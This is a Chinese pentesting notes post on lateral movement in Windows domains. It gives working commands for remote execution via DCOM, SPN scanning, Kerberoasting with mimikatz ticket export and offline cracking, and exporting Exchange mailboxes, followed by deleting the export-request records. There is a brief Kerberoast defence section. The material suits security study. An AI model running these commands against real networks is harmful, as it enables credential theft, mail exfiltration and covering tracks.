内网(笔记)-域内横向移动-续2

admin 2024年10月16日22:30:37评论10 views字数 5639阅读18分47秒阅读模式

1、概述

本文接着上一篇域内横向移动记录,工欲善其事必先利其器,在平时的工作过程中不要忘记基础知识的回顾与记忆。

2、内容

2.1 DCOM在远程系统中的使用

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口,通过DCOM客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

通过本地DCOM执行命令

获取DOCM程序列表Get-CimInstance Win32_DCOMApplication #Get-CimInstance默认只在Powershell3.0以上版本存在即Win Server2012以上版本不支持上述命令可用以下替换Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_DCOMApplication

内网(笔记)-域内横向移动-续2

使用DCOM执行任意命令

启动管理员权限的powershell$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

内网(笔记)-域内横向移动-续2

使用DCOM在远程主机执行命令

通过ipc$连接远程主机net use \192.168.127.130 "1" /user:testuser建立远程连接后,在远程系统执行命令,调用MMC20.Application$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.127.130"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")调用9BA05972-F6A8-11CF-A442-00A0C90A8F39$com = [type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.127.130")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:windowssystem32",$null,0)

2.2 SPN在域环境中的应用

在使用Kerberos协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。SPN(服务主体名称Service Principal Name),SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符,它由服务类、主机名和端口组成。

Kerberos 是一种计算机网络身份验证协议,旨在简化和保护身份验证。Kerberos 的中心思想围绕着使用一种本地形式的个人标识,称为由身份验证服务器授予的票据。每张票都属于特定的领域,这些领域决定了票授予访问的服务。这些票是加密的,需要多级解密才能使用。该票证系统确保永远不会通过网络发送密码等敏感信息。根据Kerberos协议当用户输入账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭证)

SPN命令格式如下:

SPN = serviceclass "/" hostname [":"port] ["/" servicename]serviceclass:服务组件的名称hostname:以“/”与后边的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)port:以冒号分隔,后面的内容为该服务监听的端口号servicename:一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名

常见SPN服务

MSSQL服务的实力代码如下:

MSSQLSvc/computer1.sahx.com:1433MSSQLSvc:服务组件名称computer1.sahx.com:主机名为computer1 域名为sahx.com1433:监听端口

Exchange服务的示例代码:

exchangeMDB/EXCAS01.saxh.com

RDP服务的示例代码:

TERMSERV/EXCAS01.sahx.com

WSMan/WinRM/PSRemoting服务的示例代码:

WSMAN/EXCAS01.sahx.com

SPN扫描的powershell脚本

Powershell-AD-Recon工具包提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、Exchange、RDP、WinRM。

下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon

利用SPN发现域中所有的MSSQL服务

SPN通过LDAP协议向域控制器进行查询的,攻击者只要获取一个普通的域用户权限,就可以进行SPN扫描。例如扫描MSSQL

Import-Module .Discover-PSMSSQLServers.ps1Discover-PSMSSQLServers

扫描域名中所有的SPN信息

Import-Module .Discover-PSInterestingServicesDiscover-PSInterestingServices

不使用第三方脚本,可以用windows自带工具列出域中的所有SPN信息。

setspn -T domain -q */*

Kerberoast攻击

Kerberoast是一种针对Kerberos协议的攻击方式,在域环境中攻击者会通过Kerberoast使用普通用户权限在活动目录中将计算机服务账号的凭据提取出来。

攻击流程

以MSSQL服务为例①手动注册SPNsetspn -A MSQQLSvc/computer1.sahx.com:1433 mssql②查看用户对应的SPN,指定setspn -L sahx.commssql③查看所有注册的SPNsetspn -T domain -q */*④使用adsiedit.msc查看用户SPN以及其他高级属性⑤配置指定服务的登录权限gpedit.mscComputer ConfigurationWindows SettingsSecurity SettingLocal PolicesUser Rights AssignmentLog on as a service⑥修改加密类型gpedit.mscComputer ConfigurationWindows SettingsSecurity SettingLocal PoliciesSecurity OptionsNetwork security: Configure encryption types allowed for Kerberos⑦请求SPN Kerberos票据Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestor SecurityToken -ArgumentList "MSSQLSvc/computer1.sahx.com"⑧导出票据(使用mimikatz)kerberos::list /export #导出票据会保存在当前目录中的kirbi文件中,加密方式RC4_HMAC_MD5⑨使用Kerberoast脚本离线破解票据所对应账号的NTLM Hash脚本下载地址:https://github.com/nidem/kerberoastpython tgsrepcrack.py wordlist.txt mssql.kirbi #使用python2.7环境,破解完成将票据对应账户的密码打印出来

防御Kerberoast攻击

确保账号密码的长度超过25位,确保密码的随机性,定期修改服务账号的密码如果攻击者无法将默认的AES256_HMAC加密方式修改为Rc4_HMAC_MD5,就无法使用脚本破解密码强制使用AES256_HMAC对Kerberos票据加密,嗅探抓包后无法破解对服务账户的权限进行适当配置,提高密码的强度日志审计关注ID为4769(请求Kerberos服务票据)事件。

2.3 Exchange邮件服务器安全防范

Exchange是微软出品的电子邮件服务组件,是一个消息与协作系统。

Exchange服务器角色

Exchange在逻辑上分为三层:网络层、目录层、消息层,服务器角色处在消息层服务器角色:邮箱服务器(核心服务器角色)客户端访问服务器(核心服务器角色)集线传输服务器(核心服务器角色)部署核心服务器角色,就能提供基本电子邮件处理功能统一消息服务器边缘传输服务器(除次角色,其他均可以部署在同一台主机上)

客户端远程访问接口和协议

OWA(outlook Web App):Exchange提供的Web邮箱EAC(Exchange Administrator Center):Exchange管理中心,是组织中的exchangeWeb控制台Outlook Anywhere(RPC-over-HTTP,RPC/HTTP)MAPI(MAPI-over-HTTP,MAPI/HTTP)Exchange ActiveSync(EAS,XML/HTTP)Exchange Web Service(EWS,SOAP-over-HTTP)

Exchange服务器发现

基于端口扫描发现nmap -A -O -sV 192.168.1.1SPN查询(域环境)setspn -T sahx.com -F -Q */*

Exchange的基本操作

查看邮件数据库Get-MailboxDatabase -server "Exchange1"正常情况下,powershell没有这条命令需要将exchange管理单元添加到当前会话add-pssnapin microsoft.exchange*指定数据库查询详细信息,比如查询数据库路径Get-MailboxDatabase -Identity 'Mailbox Database 1894576943' | Format-List Name,EdbfilePath,LogFolderPath获取现有用户的邮件地址Get-Mailbox | format-tables Name,WindowsEmailAddress查看指定用户的邮箱使用信息get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime获取用户邮箱中的邮件数量Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descend

导出指定的电子邮件

配置用户的导入/导出权限查看用户权限Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName添加权限将Administrator用户添加到导入导出角色组,就可以通过powershell导出用户邮件了New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"删除权限Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false设置网络共享文件夹net share inetpub=c:inetpub /grant:everyone,full导出用户电子邮件使用powershell导出New-MailboxExportRequest -Mailbox administrator -FilePath \192.168.1.1inetpubadministrator.pst使用图形化界面进行导出,使用之前角色组中的账号密码登录

管理导出请求

无论图形化界面还是powershell导出都会留下相关记录查看导出记录Get-MailboxExportRequest删除指定用户导出请求Remove-MailboxExportRequest -Identity Administratormailboxexport删除所有导出请求Remove-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

内网(笔记)-域内横向移动-续2

免责声明:

本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责

原文始发于微信公众号(sahx安全从业记):内网(笔记)-域内横向移动-续2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日22:30:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网(笔记)-域内横向移动-续2https://cn-sec.com/archives/1887478.html

发表评论

匿名网友 填写信息